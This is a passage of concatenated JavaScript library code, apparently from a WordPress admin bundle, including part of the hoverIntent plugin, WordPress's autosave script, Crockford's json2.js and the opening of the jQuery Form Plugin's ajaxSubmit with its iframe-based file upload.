doHover(e,t);
}
};
// A private function for handling mouse 'hovering'
var doHover = function(e,ob) {
// copy objects to be passed into t (required for event object to be passed in IE)
var ev = jQuery.extend({},e);
// cancel hoverIntent timer if it exists
if (ob.hoverIntent_t) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); }
// else e.type == "onmouseover"
if (e.type == "mouseover") {
// set "previous" X and Y position based on initial entry point
pX = ev.pageX; pY = ev.pageY;
// update "current" X and Y position based on mousemove
$(ob).bind("mousemove",track);
// start polling interval (self-calling timeout) to compare mouse coordinates over time
if (ob.hoverIntent_s != 1) { ob.hoverIntent_t = setTimeout( function(){compare(ev,ob);} , cfg.interval );}
// else e.type == "onmouseout"
} else {
// unbind expensive mousemove event
$(ob).unbind("mousemove",track);
// if hoverIntent state is true, then call the mouseOut function after the specified delay
if (ob.hoverIntent_s == 1) { ob.hoverIntent_t = setTimeout( function(){delay(ev,ob);} , cfg.timeout );}
}
};
// bind the function to the two event listeners
return this.mouseover(handleHover).mouseout(handleHover);
};
})(jQuery); | JavaScript |
var autosave, autosaveLast = '', autosavePeriodical, autosaveOldMessage = '', autosaveDelayPreview = false, notSaved = true, blockSave = false, fullscreen, autosaveLockRelease = true;
jQuery(document).ready( function($) {
var dotabkey = true;
autosaveLast = $('#post #title').val() + $('#post #content').val();
autosavePeriodical = $.schedule({time: autosaveL10n.autosaveInterval * 1000, func: function() { autosave(); }, repeat: true, protect: true});
//Disable autosave after the form has been submitted
$("#post").submit(function() {
$.cancel(autosavePeriodical);
autosaveLockRelease = false;
});
$('input[type="submit"], a.submitdelete', '#submitpost').click(function(){
blockSave = true;
window.onbeforeunload = null;
$(':button, :submit', '#submitpost').each(function(){
var t = $(this);
if ( t.hasClass('button-primary') )
t.addClass('button-primary-disabled');
else
t.addClass('button-disabled');
});
if ( $(this).attr('id') == 'publish' )
$('#ajax-loading').css('visibility', 'visible');
else
$('#draft-ajax-loading').css('visibility', 'visible');
});
window.onbeforeunload = function(){
var mce = typeof(tinyMCE) != 'undefined' ? tinyMCE.activeEditor : false, title, content;
if ( mce && !mce.isHidden() ) {
if ( mce.isDirty() )
return autosaveL10n.saveAlert;
} else {
if ( fullscreen && fullscreen.settings.visible ) {
title = $('#wp-fullscreen-title').val();
content = $("#wp_mce_fullscreen").val();
} else {
title = $('#post #title').val();
content = $('#post #content').val();
}
if ( ( title || content ) && title + content != autosaveLast )
return autosaveL10n.saveAlert;
}
};
$(window).unload( function(e) {
if ( ! autosaveLockRelease )
return;
// unload fires (twice) on removing the Thickbox iframe. Make sure we process only the main document unload.
if ( e.target && e.target.nodeName != '#document' )
return;
$.ajax({
type: 'POST',
url: ajaxurl,
async: false,
data: {
action: 'wp-remove-post-lock',
_wpnonce: $('#_wpnonce').val(),
post_ID: $('#post_ID').val(),
active_post_lock: $('#active_post_lock').val()
}
});
} );
// preview
$('#post-preview').click(function(){
if ( $('#auto_draft').val() == '1' && notSaved ) {
autosaveDelayPreview = true;
autosave();
return false;
}
doPreview();
return false;
});
doPreview = function() {
$('input#wp-preview').val('dopreview');
$('form#post').attr('target', 'wp-preview').submit().attr('target', '');
/*
* Workaround for WebKit bug preventing a form submitting twice to the same action.
* https://bugs.webkit.org/show_bug.cgi?id=28633
*/
if ( $.browser.safari ) {
$('form#post').attr('action', function(index, value) {
return value + '?t=' + new Date().getTime();
});
}
$('input#wp-preview').val('');
}
// This code is meant to allow tabbing from Title to Post if tinyMCE is defined.
if ( typeof tinyMCE != 'undefined' ) {
$('#title')[$.browser.opera ? 'keypress' : 'keydown'](function (e) {
if ( e.which == 9 && !e.shiftKey && !e.controlKey && !e.altKey ) {
if ( ($('#auto_draft').val() == '1') && ($("#title").val().length > 0) ) { autosave(); }
if ( tinyMCE.activeEditor && ! tinyMCE.activeEditor.isHidden() && dotabkey ) {
e.preventDefault();
dotabkey = false;
tinyMCE.activeEditor.focus();
return false;
}
}
});
}
// autosave new posts after a title is typed but not if Publish or Save Draft is clicked
if ( '1' == $('#auto_draft').val() ) {
$('#title').blur( function() {
if ( !this.value || $('#auto_draft').val() != '1' )
return;
delayed_autosave();
});
}
});
function autosave_parse_response(response) {
var res = wpAjax.parseAjaxResponse(response, 'autosave'), message = '', postID, sup;
if ( res && res.responses && res.responses.length ) {
message = res.responses[0].data; // The saved message or error.
// someone else is editing: disable autosave, set errors
if ( res.responses[0].supplemental ) {
sup = res.responses[0].supplemental;
if ( 'disable' == sup['disable_autosave'] ) {
autosave = function() {};
autosaveLockRelease = false;
res = { errors: true };
}
if ( sup['active-post-lock'] ) {
jQuery('#active_post_lock').val( sup['active-post-lock'] );
}
if ( sup['alert'] ) {
jQuery('#autosave-alert').remove();
jQuery('#titlediv').after('<div id="autosave-alert" class="error below-h2"><p>' + sup['alert'] + '</p></div>');
}
jQuery.each(sup, function(selector, value) {
if ( selector.match(/^replace-/) ) {
jQuery('#'+selector.replace('replace-', '')).val(value);
}
});
}
// if no errors: add slug UI
if ( !res.errors ) {
postID = parseInt( res.responses[0].id, 10 );
if ( !isNaN(postID) && postID > 0 ) {
autosave_update_slug(postID);
}
}
}
if ( message ) { // update autosave message
jQuery('.autosave-message').html(message);
} else if ( autosaveOldMessage && res ) {
jQuery('.autosave-message').html( autosaveOldMessage );
}
return res;
}
// called when autosaving pre-existing post
function autosave_saved(response) {
blockSave = false;
autosave_parse_response(response); // parse the ajax response
autosave_enable_buttons(); // re-enable disabled form buttons
}
// called when autosaving new post
function autosave_saved_new(response) {
blockSave = false;
var res = autosave_parse_response(response), postID;
if ( res && res.responses.length && !res.errors ) {
// An ID is sent only for real auto-saves, not for autosave=0 "keepalive" saves
postID = parseInt( res.responses[0].id, 10 );
if ( !isNaN(postID) && postID > 0 ) {
notSaved = false;
jQuery('#auto_draft').val('0'); // No longer an auto-draft
}
autosave_enable_buttons();
if ( autosaveDelayPreview ) {
autosaveDelayPreview = false;
doPreview();
}
} else {
autosave_enable_buttons(); // re-enable disabled form buttons
}
}
function autosave_update_slug(post_id) {
// create slug area only if not already there
if ( 'undefined' != makeSlugeditClickable && jQuery.isFunction(makeSlugeditClickable) && !jQuery('#edit-slug-box > *').size() ) {
jQuery.post( ajaxurl, {
action: 'sample-permalink',
post_id: post_id,
new_title: fullscreen && fullscreen.settings.visible ? jQuery('#wp-fullscreen-title').val() : jQuery('#title').val(),
samplepermalinknonce: jQuery('#samplepermalinknonce').val()
},
function(data) {
if ( data !== '-1' ) {
jQuery('#edit-slug-box').html(data);
makeSlugeditClickable();
}
}
);
}
}
function autosave_loading() {
jQuery('.autosave-message').html(autosaveL10n.savingText);
}
function autosave_enable_buttons() {
// delay that a bit to avoid some rare collisions while the DOM is being updated.
setTimeout(function(){
jQuery(':button, :submit', '#submitpost').removeAttr('disabled');
jQuery('.ajax-loading').css('visibility', 'hidden');
}, 500);
}
function autosave_disable_buttons() {
jQuery(':button, :submit', '#submitpost').prop('disabled', true);
// Re-enable 5 sec later. Just gives autosave a head start to avoid collisions.
setTimeout(autosave_enable_buttons, 5000);
}
function delayed_autosave() {
setTimeout(function(){
if ( blockSave )
return;
autosave();
}, 200);
}
autosave = function() {
// (bool) is rich editor enabled and active
blockSave = true;
var rich = (typeof tinyMCE != "undefined") && tinyMCE.activeEditor && !tinyMCE.activeEditor.isHidden(),
post_data, doAutoSave, ed, origStatus, successCallback;
autosave_disable_buttons();
post_data = {
action: "autosave",
post_ID: jQuery("#post_ID").val() || 0,
autosavenonce: jQuery('#autosavenonce').val(),
post_type: jQuery('#post_type').val() || "",
autosave: 1
};
jQuery('.tags-input').each( function() {
post_data[this.name] = this.value;
} );
// We always send the ajax request in order to keep the post lock fresh.
// This (bool) tells whether or not to write the post to the DB during the ajax request.
doAutoSave = true;
// No autosave while thickbox is open (media buttons)
if ( jQuery("#TB_window").css('display') == 'block' )
doAutoSave = false;
/* Gotta do this up here so we can check the length when tinyMCE is in use */
if ( rich && doAutoSave ) {
ed = tinyMCE.activeEditor;
// Don't run while the TinyMCE spellcheck is on. It resets all found words.
if ( ed.plugins.spellchecker && ed.plugins.spellchecker.active ) {
doAutoSave = false;
} else {
if ( 'mce_fullscreen' == ed.id || 'wp_mce_fullscreen' == ed.id )
tinyMCE.get('content').setContent(ed.getContent({format : 'raw'}), {format : 'raw'});
tinyMCE.triggerSave();
}
}
if ( fullscreen && fullscreen.settings.visible ) {
post_data["post_title"] = jQuery('#wp-fullscreen-title').val() || '';
post_data["content"] = jQuery("#wp_mce_fullscreen").val() || '';
} else {
post_data["post_title"] = jQuery("#title").val() || '';
post_data["content"] = jQuery("#content").val() || '';
}
if ( jQuery('#post_name').val() )
post_data["post_name"] = jQuery('#post_name').val();
// Nothing to save or no change.
if ( ( post_data["post_title"].length == 0 && post_data["content"].length == 0 ) || post_data["post_title"] + post_data["content"] == autosaveLast ) {
doAutoSave = false;
}
origStatus = jQuery('#original_post_status').val();
goodcats = ([]);
jQuery("[name='post_category[]']:checked").each( function(i) {
goodcats.push(this.value);
} );
post_data["catslist"] = goodcats.join(",");
if ( jQuery("#comment_status").prop("checked") )
post_data["comment_status"] = 'open';
if ( jQuery("#ping_status").prop("checked") )
post_data["ping_status"] = 'open';
if ( jQuery("#excerpt").size() )
post_data["excerpt"] = jQuery("#excerpt").val();
if ( jQuery("#post_author").size() )
post_data["post_author"] = jQuery("#post_author").val();
if ( jQuery("#parent_id").val() )
post_data["parent_id"] = jQuery("#parent_id").val();
post_data["user_ID"] = jQuery("#user-id").val();
if ( jQuery('#auto_draft').val() == '1' )
post_data["auto_draft"] = '1';
if ( doAutoSave ) {
autosaveLast = post_data["post_title"] + post_data["content"];
jQuery(document).triggerHandler('wpcountwords', [ post_data["content"] ]);
} else {
post_data['autosave'] = 0;
}
if ( post_data["auto_draft"] == '1' ) {
successCallback = autosave_saved_new; // new post
} else {
successCallback = autosave_saved; // pre-existing post
}
autosaveOldMessage = jQuery('#autosave').html();
jQuery.ajax({
data: post_data,
beforeSend: doAutoSave ? autosave_loading : null,
type: "POST",
url: ajaxurl,
success: successCallback
});
}
| JavaScript |
/*
http://www.JSON.org/json2.js
2011-02-23
Public Domain.
NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.
See http://www.JSON.org/js.html
This code should be minified before deployment.
See http://javascript.crockford.com/jsmin.html
USE YOUR OWN COPY. IT IS EXTREMELY UNWISE TO LOAD CODE FROM SERVERS YOU DO
NOT CONTROL.
This file creates a global JSON object containing two methods: stringify
and parse.
JSON.stringify(value, replacer, space)
value any JavaScript value, usually an object or array.
replacer an optional parameter that determines how object
values are stringified for objects. It can be a
function or an array of strings.
space an optional parameter that specifies the indentation
of nested structures. If it is omitted, the text will
be packed without extra whitespace. If it is a number,
it will specify the number of spaces to indent at each
level. If it is a string (such as '\t' or ' '),
it contains the characters used to indent at each level.
This method produces a JSON text from a JavaScript value.
When an object value is found, if the object contains a toJSON
method, its toJSON method will be called and the result will be
stringified. A toJSON method does not serialize: it returns the
value represented by the name/value pair that should be serialized,
or undefined if nothing should be serialized. The toJSON method
will be passed the key associated with the value, and this will be
bound to the value
For example, this would serialize Dates as ISO strings.
Date.prototype.toJSON = function (key) {
function f(n) {
// Format integers to have at least two digits.
return n < 10 ? '0' + n : n;
}
return this.getUTCFullYear() + '-' +
f(this.getUTCMonth() + 1) + '-' +
f(this.getUTCDate()) + 'T' +
f(this.getUTCHours()) + ':' +
f(this.getUTCMinutes()) + ':' +
f(this.getUTCSeconds()) + 'Z';
};
You can provide an optional replacer method. It will be passed the
key and value of each member, with this bound to the containing
object. The value that is returned from your method will be
serialized. If your method returns undefined, then the member will
be excluded from the serialization.
If the replacer parameter is an array of strings, then it will be
used to select the members to be serialized. It filters the results
such that only members with keys listed in the replacer array are
stringified.
Values that do not have JSON representations, such as undefined or
functions, will not be serialized. Such values in objects will be
dropped; in arrays they will be replaced with null. You can use
a replacer function to replace those with JSON values.
JSON.stringify(undefined) returns undefined.
The optional space parameter produces a stringification of the
value that is filled with line breaks and indentation to make it
easier to read.
If the space parameter is a non-empty string, then that string will
be used for indentation. If the space parameter is a number, then
the indentation will be that many spaces.
Example:
text = JSON.stringify(['e', {pluribus: 'unum'}]);
// text is '["e",{"pluribus":"unum"}]'
text = JSON.stringify(['e', {pluribus: 'unum'}], null, '\t');
// text is '[\n\t"e",\n\t{\n\t\t"pluribus": "unum"\n\t}\n]'
text = JSON.stringify([new Date()], function (key, value) {
return this[key] instanceof Date ?
'Date(' + this[key] + ')' : value;
});
// text is '["Date(---current time---)"]'
JSON.parse(text, reviver)
This method parses a JSON text to produce an object or array.
It can throw a SyntaxError exception.
The optional reviver parameter is a function that can filter and
transform the results. It receives each of the keys and values,
and its return value is used instead of the original value.
If it returns what it received, then the structure is not modified.
If it returns undefined then the member is deleted.
Example:
// Parse the text. Values that look like ISO date strings will
// be converted to Date objects.
myData = JSON.parse(text, function (key, value) {
var a;
if (typeof value === 'string') {
a =
/^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2}):(\d{2}(?:\.\d*)?)Z$/.exec(value);
if (a) {
return new Date(Date.UTC(+a[1], +a[2] - 1, +a[3], +a[4],
+a[5], +a[6]));
}
}
return value;
});
myData = JSON.parse('["Date(09/09/2001)"]', function (key, value) {
var d;
if (typeof value === 'string' &&
value.slice(0, 5) === 'Date(' &&
value.slice(-1) === ')') {
d = new Date(value.slice(5, -1));
if (d) {
return d;
}
}
return value;
});
This is a reference implementation. You are free to copy, modify, or
redistribute.
*/
/*jslint evil: true, strict: false, regexp: false */
/*members "", "\b", "\t", "\n", "\f", "\r", "\"", JSON, "\\", apply,
call, charCodeAt, getUTCDate, getUTCFullYear, getUTCHours,
getUTCMinutes, getUTCMonth, getUTCSeconds, hasOwnProperty, join,
lastIndex, length, parse, prototype, push, replace, slice, stringify,
test, toJSON, toString, valueOf
*/
// Create a JSON object only if one does not already exist. We create the
// methods in a closure to avoid creating global variables.
var JSON;
if (!JSON) {
JSON = {};
}
(function () {
"use strict";
function f(n) {
// Format integers to have at least two digits.
return n < 10 ? '0' + n : n;
}
if (typeof Date.prototype.toJSON !== 'function') {
Date.prototype.toJSON = function (key) {
return isFinite(this.valueOf()) ?
this.getUTCFullYear() + '-' +
f(this.getUTCMonth() + 1) + '-' +
f(this.getUTCDate()) + 'T' +
f(this.getUTCHours()) + ':' +
f(this.getUTCMinutes()) + ':' +
f(this.getUTCSeconds()) + 'Z' : null;
};
String.prototype.toJSON =
Number.prototype.toJSON =
Boolean.prototype.toJSON = function (key) {
return this.valueOf();
};
}
var cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
escapable = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
gap,
indent,
meta = { // table of character substitutions
'\b': '\\b',
'\t': '\\t',
'\n': '\\n',
'\f': '\\f',
'\r': '\\r',
'"' : '\\"',
'\\': '\\\\'
},
rep;
function quote(string) {
// If the string contains no control characters, no quote characters, and no
// backslash characters, then we can safely slap some quotes around it.
// Otherwise we must also replace the offending characters with safe escape
// sequences.
escapable.lastIndex = 0;
return escapable.test(string) ? '"' + string.replace(escapable, function (a) {
var c = meta[a];
return typeof c === 'string' ? c :
'\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
}) + '"' : '"' + string + '"';
}
function str(key, holder) {
// Produce a string from holder[key].
var i, // The loop counter.
k, // The member key.
v, // The member value.
length,
mind = gap,
partial,
value = holder[key];
// If the value has a toJSON method, call it to obtain a replacement value.
if (value && typeof value === 'object' &&
typeof value.toJSON === 'function') {
value = value.toJSON(key);
}
// If we were called with a replacer function, then call the replacer to
// obtain a replacement value.
if (typeof rep === 'function') {
value = rep.call(holder, key, value);
}
// What happens next depends on the value's type.
switch (typeof value) {
case 'string':
return quote(value);
case 'number':
// JSON numbers must be finite. Encode non-finite numbers as null.
return isFinite(value) ? String(value) : 'null';
case 'boolean':
case 'null':
// If the value is a boolean or null, convert it to a string. Note:
// typeof null does not produce 'null'. The case is included here in
// the remote chance that this gets fixed someday.
return String(value);
// If the type is 'object', we might be dealing with an object or an array or
// null.
case 'object':
// Due to a specification blunder in ECMAScript, typeof null is 'object',
// so watch out for that case.
if (!value) {
return 'null';
}
// Make an array to hold the partial results of stringifying this object value.
gap += indent;
partial = [];
// Is the value an array?
if (Object.prototype.toString.apply(value) === '[object Array]') {
// The value is an array. Stringify every element. Use null as a placeholder
// for non-JSON values.
length = value.length;
for (i = 0; i < length; i += 1) {
partial[i] = str(i, value) || 'null';
}
// Join all of the elements together, separated with commas, and wrap them in
// brackets.
v = partial.length === 0 ? '[]' : gap ?
'[\n' + gap + partial.join(',\n' + gap) + '\n' + mind + ']' :
'[' + partial.join(',') + ']';
gap = mind;
return v;
}
// If the replacer is an array, use it to select the members to be stringified.
if (rep && typeof rep === 'object') {
length = rep.length;
for (i = 0; i < length; i += 1) {
if (typeof rep[i] === 'string') {
k = rep[i];
v = str(k, value);
if (v) {
partial.push(quote(k) + (gap ? ': ' : ':') + v);
}
}
}
} else {
// Otherwise, iterate through all of the keys in the object.
for (k in value) {
if (Object.prototype.hasOwnProperty.call(value, k)) {
v = str(k, value);
if (v) {
partial.push(quote(k) + (gap ? ': ' : ':') + v);
}
}
}
}
// Join all of the member texts together, separated with commas,
// and wrap them in braces.
v = partial.length === 0 ? '{}' : gap ?
'{\n' + gap + partial.join(',\n' + gap) + '\n' + mind + '}' :
'{' + partial.join(',') + '}';
gap = mind;
return v;
}
}
// If the JSON object does not yet have a stringify method, give it one.
if (typeof JSON.stringify !== 'function') {
JSON.stringify = function (value, replacer, space) {
// The stringify method takes a value and an optional replacer, and an optional
// space parameter, and returns a JSON text. The replacer can be a function
// that can replace values, or an array of strings that will select the keys.
// A default replacer method can be provided. Use of the space parameter can
// produce text that is more easily readable.
var i;
gap = '';
indent = '';
// If the space parameter is a number, make an indent string containing that
// many spaces.
if (typeof space === 'number') {
for (i = 0; i < space; i += 1) {
indent += ' ';
}
// If the space parameter is a string, it will be used as the indent string.
} else if (typeof space === 'string') {
indent = space;
}
// If there is a replacer, it must be a function or an array.
// Otherwise, throw an error.
rep = replacer;
if (replacer && typeof replacer !== 'function' &&
(typeof replacer !== 'object' ||
typeof replacer.length !== 'number')) {
throw new Error('JSON.stringify');
}
// Make a fake root object containing our value under the key of ''.
// Return the result of stringifying the value.
return str('', {'': value});
};
}
// If the JSON object does not yet have a parse method, give it one.
if (typeof JSON.parse !== 'function') {
JSON.parse = function (text, reviver) {
// The parse method takes a text and an optional reviver function, and returns
// a JavaScript value if the text is a valid JSON text.
var j;
function walk(holder, key) {
// The walk method is used to recursively walk the resulting structure so
// that modifications can be made.
var k, v, value = holder[key];
if (value && typeof value === 'object') {
for (k in value) {
if (Object.prototype.hasOwnProperty.call(value, k)) {
v = walk(value, k);
if (v !== undefined) {
value[k] = v;
} else {
delete value[k];
}
}
}
}
return reviver.call(holder, key, value);
}
// Parsing happens in four stages. In the first stage, we replace certain
// Unicode characters with escape sequences. JavaScript handles many characters
// incorrectly, either silently deleting them, or treating them as line endings.
text = String(text);
cx.lastIndex = 0;
if (cx.test(text)) {
text = text.replace(cx, function (a) {
return '\\u' +
('0000' + a.charCodeAt(0).toString(16)).slice(-4);
});
}
// In the second stage, we run the text against regular expressions that look
// for non-JSON patterns. We are especially concerned with '()' and 'new'
// because they can cause invocation, and '=' because it can cause mutation.
// But just to be safe, we want to reject all unexpected forms.
// We split the second stage into 4 regexp operations in order to work around
// crippling inefficiencies in IE's and Safari's regexp engines. First we
// replace the JSON backslash pairs with '@' (a non-JSON character). Second, we
// replace all simple value tokens with ']' characters. Third, we delete all
// open brackets that follow a colon or comma or that begin the text. Finally,
// we look to see that the remaining characters are only whitespace or ']' or
// ',' or ':' or '{' or '}'. If that is so, then the text is safe for eval.
if (/^[\],:{}\s]*$/
.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@')
.replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']')
.replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) {
// In the third stage we use the eval function to compile the text into a
// JavaScript structure. The '{' operator is subject to a syntactic ambiguity
// in JavaScript: it can begin a block or an object literal. We wrap the text
// in parens to eliminate the ambiguity.
j = eval('(' + text + ')');
// In the optional fourth stage, we recursively walk the new structure, passing
// each name/value pair to a reviver function for possible transformation.
return typeof reviver === 'function' ?
walk({'': j}, '') : j;
}
// If the text is not JSON parseable, then a SyntaxError is thrown.
throw new SyntaxError('JSON.parse');
};
}
}());
| JavaScript |
/*!
* jQuery Form Plugin
* version: 2.73 (03-MAY-2011)
* @requires jQuery v1.3.2 or later
*
* Examples and documentation at: http://malsup.com/jquery/form/
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
*/
;(function($) {
/*
Usage Note:
-----------
Do not use both ajaxSubmit and ajaxForm on the same form. These
functions are intended to be exclusive. Use ajaxSubmit if you want
to bind your own submit handler to the form. For example,
$(document).ready(function() {
$('#myForm').bind('submit', function(e) {
e.preventDefault(); // <-- important
$(this).ajaxSubmit({
target: '#output'
});
});
});
Use ajaxForm when you want the plugin to manage all the event binding
for you. For example,
$(document).ready(function() {
$('#myForm').ajaxForm({
target: '#output'
});
});
When using ajaxForm, the ajaxSubmit function will be invoked for you
at the appropriate time.
*/
/**
* ajaxSubmit() provides a mechanism for immediately submitting
* an HTML form using AJAX.
*/
$.fn.ajaxSubmit = function(options) {
// fast fail if nothing selected (http://dev.jquery.com/ticket/2752)
if (!this.length) {
log('ajaxSubmit: skipping submit process - no element selected');
return this;
}
if (typeof options == 'function') {
options = { success: options };
}
var action = this.attr('action');
var url = (typeof action === 'string') ? $.trim(action) : '';
if (url) {
// clean url (don't include hash vaue)
url = (url.match(/^([^#]+)/)||[])[1];
}
url = url || window.location.href || '';
options = $.extend(true, {
url: url,
success: $.ajaxSettings.success,
type: this[0].getAttribute('method') || 'GET', // IE7 massage (see issue 57)
iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank'
}, options);
// hook for manipulating the form data before it is extracted;
// convenient for use with rich editors like tinyMCE or FCKEditor
var veto = {};
this.trigger('form-pre-serialize', [this, options, veto]);
if (veto.veto) {
log('ajaxSubmit: submit vetoed via form-pre-serialize trigger');
return this;
}
// provide opportunity to alter form data before it is serialized
if (options.beforeSerialize && options.beforeSerialize(this, options) === false) {
log('ajaxSubmit: submit aborted via beforeSerialize callback');
return this;
}
var n,v,a = this.formToArray(options.semantic);
if (options.data) {
options.extraData = options.data;
for (n in options.data) {
if(options.data[n] instanceof Array) {
for (var k in options.data[n]) {
a.push( { name: n, value: options.data[n][k] } );
}
}
else {
v = options.data[n];
v = $.isFunction(v) ? v() : v; // if value is fn, invoke it
a.push( { name: n, value: v } );
}
}
}
// give pre-submit callback an opportunity to abort the submit
if (options.beforeSubmit && options.beforeSubmit(a, this, options) === false) {
log('ajaxSubmit: submit aborted via beforeSubmit callback');
return this;
}
// fire vetoable 'validate' event
this.trigger('form-submit-validate', [a, this, options, veto]);
if (veto.veto) {
log('ajaxSubmit: submit vetoed via form-submit-validate trigger');
return this;
}
var q = $.param(a);
if (options.type.toUpperCase() == 'GET') {
options.url += (options.url.indexOf('?') >= 0 ? '&' : '?') + q;
options.data = null; // data is null for 'get'
}
else {
options.data = q; // data is the query string for 'post'
}
var $form = this, callbacks = [];
if (options.resetForm) {
callbacks.push(function() { $form.resetForm(); });
}
if (options.clearForm) {
callbacks.push(function() { $form.clearForm(); });
}
// perform a load on the target only if dataType is not provided
if (!options.dataType && options.target) {
var oldSuccess = options.success || function(){};
callbacks.push(function(data) {
var fn = options.replaceTarget ? 'replaceWith' : 'html';
$(options.target)[fn](data).each(oldSuccess, arguments);
});
}
else if (options.success) {
callbacks.push(options.success);
}
options.success = function(data, status, xhr) { // jQuery 1.4+ passes xhr as 3rd arg
var context = options.context || options; // jQuery 1.4+ supports scope context
for (var i=0, max=callbacks.length; i < max; i++) {
callbacks[i].apply(context, [data, status, xhr || $form, $form]);
}
};
// are there files to upload?
var fileInputs = $('input:file', this).length > 0;
var mp = 'multipart/form-data';
var multipart = ($form.attr('enctype') == mp || $form.attr('encoding') == mp);
// options.iframe allows user to force iframe mode
// 06-NOV-09: now defaulting to iframe mode if file input is detected
if (options.iframe !== false && (fileInputs || options.iframe || multipart)) {
// hack to fix Safari hang (thanks to Tim Molendijk for this)
// see: http://groups.google.com/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d
if (options.closeKeepAlive) {
$.get(options.closeKeepAlive, fileUpload);
}
else {
fileUpload();
}
}
else {
$.ajax(options);
}
// fire 'notify' event
this.trigger('form-submit-notify', [this, options]);
return this;
// private function for handling file uploads (hat tip to YAHOO!)
function fileUpload() {
var form = $form[0];
if ($(':input[name=submit],:input[id=submit]', form).length) {
// if there is an input with a name or id of 'submit' then we won't be
// able to invoke the submit fn on the form (at least not x-browser)
alert('Error: Form elements must not have name or id of "submit".');
return;
}
var s = $.extend(true, {}, $.ajaxSettings, options);
s.context = s.context || s;
var id = 'jqFormIO' + (new Date().getTime()), fn = '_'+id;
var $io = $('<iframe id="' + id + '" name="' + id + '" src="'+ s.iframeSrc +'" />');
var io = $io[0];
$io.css({ position: 'absolute', top: '-1000px', left: '-1000px' });
var xhr = { // mock object
aborted: 0,
responseText: null,
responseXML: null,
status: 0,
statusText: 'n/a',
getAllResponseHeaders: function() {},
getResponseHeader: function() {},
setRequestHeader: function() {},
abort: function(status) {
var e = (status === 'timeout' ? 'timeout' : 'aborted');
log('aborting upload... ' + e);
this.aborted = 1;
$io.attr('src', s.iframeSrc); // abort op in progress
xhr.error = e;
s.error && s.error.call(s.context, xhr, e, e);
g && $.event.trigger("ajaxError", [xhr, s, e]);
s.complete && s.complete.call(s.context, xhr, e);
}
};
var g = s.global;
// trigger ajax global events so that activity/block indicators work like normal
if (g && ! $.active++) {
$.event.trigger("ajaxStart");
}
if (g) {
$.event.trigger("ajaxSend", [xhr, s]);
}
if (s.beforeSend && s.beforeSend.call(s.context, xhr, s) === false) {
if (s.global) {
$.active--;
}
return;
}
if (xhr.aborted) {
return;
}
var timedOut = 0, timeoutHandle;
// add submitting element to data if we know it
var sub = form.clk;
if (sub) {
var n = sub.name;
if (n && !sub.disabled) {
s.extraData = s.extraData || {};
s.extraData[n] = sub.value;
if (sub.type == "image") {
s.extraData[n+'.x'] = form.clk_x;
s.extraData[n+'.y'] = form.clk_y;
}
}
}
// take a breath so that pending repaints get some cpu time before the upload starts
function doSubmit() {
// make sure form attrs are set
var t = $form.attr('target'), a = $form.attr('action');
// update form attrs in IE friendly way
form.setAttribute('target',id);
if (form.getAttribute('method') != 'POST') {
form.setAttribute('method', 'POST');
}
if (form.getAttribute('action') != s.url) {
form.setAttribute('action', s.url);
}
// ie borks in some cases when setting encoding
if (! s.skipEncodingOverride) {
$form.attr({
encoding: 'multipart/form-data',
enctype: 'multipart/form-data'
});
}
// support timout
if (s.timeout) {
timeoutHandle = setTimeout(function() { timedOut = true; cb(true); }, s.timeout);
}
// add "extra" data to form if provided in options
var extraInputs = [];
try {
if (s.extraData) {
for (var n in s.extraData) {
extraInputs.push(
$('<input type="hidden" name="'+n+'" value="'+s.extraData[n]+'" />')
.appendTo(form)[0]);
}
}
// add iframe to doc and submit the form
$io.appendTo('body');
io.attachEvent ? io.attachEvent('onload', cb) : io.addEventListener('load', cb, false);
form.submit();
}
finally {
// reset attrs and remove "extra" input elements
form.setAttribute('action',a);
if(t) {
form.setAttribute('target', t);
} else {
$form.removeAttr('target');
}
$(extraInputs).remove();
}
}
if (s.forceSync) {
doSubmit();
}
else {
setTimeout(doSubmit, 10); // this lets dom updates render
}
var data, doc, domCheckCount = 50, callbackProcessed;
function cb(e) {
if (xhr.aborted || callbackProcessed) {
return;
}
if (e === true && xhr) {
xhr.abort('timeout');
return;
}
var doc = io.contentWindow ? io.contentWindow.document : io.contentDocument ? io.contentDocument : io.document;
if (!doc || doc.location.href == s.iframeSrc) {
// response not received yet
if (!timedOut)
return;
}
io.detachEvent ? io.detachEvent('onload', cb) : io.removeEventListener('load', cb, false);
var ok = true;
try {
if (timedOut) {
throw 'timeout';
}
var isXml = s.dataType == 'xml' || doc.XMLDocument || $.isXMLDoc(doc);
log('isXml='+isXml);
if (!isXml && window.opera && (doc.body == null || doc.body.innerHTML == '')) {
if (--domCheckCount) {
// in some browsers (Opera) the iframe DOM is not always traversable when
// the onload callback fires, so we loop a bit to accommodate
log('requeing onLoad callback, DOM not available');
setTimeout(cb, 250);
return;
}
// let this fall through because server response could be an empty document
//log('Could not access iframe DOM after mutiple tries.');
//throw 'DOMException: not available';
}
//log('response detected');
xhr.responseText = doc.body ? doc.body.innerHTML : doc.documentElement ? doc.documentElement.innerHTML : null;
xhr.responseXML = doc.XMLDocument ? doc.XMLDocument : doc;
if (isXml)
s.dataType = 'xml';
xhr.getResponseHeader = function(header){
var headers = {'content-type': s.dataType};
return headers[header];
};
var scr = /(json|script|text)/.test(s.dataType);
if (scr || s.textarea) {
// see if user embedded response in textarea
var ta = doc.getElementsByTagName('textarea')[0];
if (ta) {
xhr.responseText = ta.value;
}
else if (scr) {
// account for browsers injecting pre around json response
var pre = doc.getElementsByTagName('pre')[0];
var b = doc.getElementsByTagName('body')[0];
if (pre) {
xhr.responseText = pre.textContent;
}
else if (b) {
xhr.responseText = b.innerHTML;
}
}
}
